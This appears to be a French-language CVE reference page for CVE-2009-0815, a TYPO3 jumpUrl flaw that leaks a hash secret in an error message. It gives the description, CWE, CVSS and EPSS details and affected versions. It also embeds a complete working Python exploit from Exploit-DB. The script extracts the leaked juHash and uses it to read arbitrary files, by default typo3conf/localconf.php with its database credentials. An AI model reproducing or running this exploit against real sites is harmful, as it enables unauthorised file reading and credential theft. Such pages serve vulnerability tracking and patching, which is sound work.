CVE-2009-0815
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
The jumpUrl mechanism in class.tslib_fe.php in TYPO3 3.3.x through 3.8.x, 4.0 before 4.0.12, 4.1 before 4.1.10, 4.2 before 4.2.6, and 4.3alpha1 leaks a hash secret (juHash) in an error message, which allows remote attackers to read arbitrary files by including the hash in a request.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:P/I:N/A:N | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 8038
Date de publication : 2009-02-09 23h00 +00:00
Auteur : Lolek
EDB Vérifié : Yes
#!/usr/bin/env python
#
# ------------------------------------------------------------------------------
# TYPO3-SA-2009-002 exploit by Lolek of TK53 <lolek1337 _at_ gmail.com>
# date: 2009/02/10
# vendor url: http://typo3.org
# vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12
# usage:
# typo3-sa-2009-002.py <host> <file> (defaults to typo3conf/localconf.php)
#
# if people fixed their installations but did not update the typo3 security key
# you should be able to precompute the hashes if you previously got the security key.
#
# greetings to milw0rm, roflek
import urllib,re,sys
strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*')
def useme():
print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)'
sys.exit(0)
def parsehash(host, f):
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:'})
url = host + '/index.php?' + file
try:
s = urllib.urlopen(url)
r = s.read()
except Exception, e:
print '[!] - ', str(e)
return None
tmp = strip.match(r)
if tmp:
return tmp.group(1)
else:
return None
def content(host, hash, f):
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:', 'juHash' : hash})
url = host + '/index.php?' + file
try:
s = urllib.urlopen(url)
print '[+] - content of:', f
print s.read()
except:
print '[!] - FAIL'
def main():
if len(sys.argv) < 2:
useme()
if len(sys.argv) < 3:
file = 'typo3conf/localconf.php'
else:
file = sys.argv[2]
print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53'
print '[+] - checking typo3 installation on...'
hash = parsehash(sys.argv[1], file)
if not hash:
print '[!] - version already fixed or 42 went wrong while trying to get the hash'
sys.exit(234)
content(sys.argv[1], hash, file)
if __name__ == '__main__':
main()
# milw0rm.com [2009-02-10]
Products Mentioned
Configuraton 0
Typo3>>Typo3 >> Version 3.3.x
Typo3>>Typo3 >> Version 3.5.x
Typo3>>Typo3 >> Version 3.6.x
Typo3>>Typo3 >> Version 3.7.x
Typo3>>Typo3 >> Version 3.8.x
Typo3>>Typo3 >> Version 4.0
- Typo3>>Typo3 >> Version 4.0 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1
- Typo3>>Typo3 >> Version 4.1 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.0
- Typo3>>Typo3 >> Version 4.1.0 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.2
- Typo3>>Typo3 >> Version 4.1.2 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.3
- Typo3>>Typo3 >> Version 4.1.3 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.4
- Typo3>>Typo3 >> Version 4.1.4 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.5
- Typo3>>Typo3 >> Version 4.1.5 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.6
- Typo3>>Typo3 >> Version 4.1.6 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.7
- Typo3>>Typo3 >> Version 4.1.7 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.8
- Typo3>>Typo3 >> Version 4.1.8 (Open CPE detail)
Typo3>>Typo3 >> Version 4.1.9
- Typo3>>Typo3 >> Version 4.1.9 (Open CPE detail)
Typo3>>Typo3 >> Version 4.2
- Typo3>>Typo3 >> Version 4.2 (Open CPE detail)
Typo3>>Typo3 >> Version 4.2.0
- Typo3>>Typo3 >> Version 4.2.0 (Open CPE detail)
Typo3>>Typo3 >> Version 4.2.1
- Typo3>>Typo3 >> Version 4.2.1 (Open CPE detail)
Typo3>>Typo3 >> Version 4.2.2
- Typo3>>Typo3 >> Version 4.2.2 (Open CPE detail)
Typo3>>Typo3 >> Version 4.2.3
- Typo3>>Typo3 >> Version 4.2.3 (Open CPE detail)
Typo3>>Typo3 >> Version 4.2.4
- Typo3>>Typo3 >> Version 4.2.4 (Open CPE detail)
Typo3>>Typo3 >> Version 4.2.5
- Typo3>>Typo3 >> Version 4.2.5 (Open CPE detail)
Typo3>>Typo3 >> Version 4.3
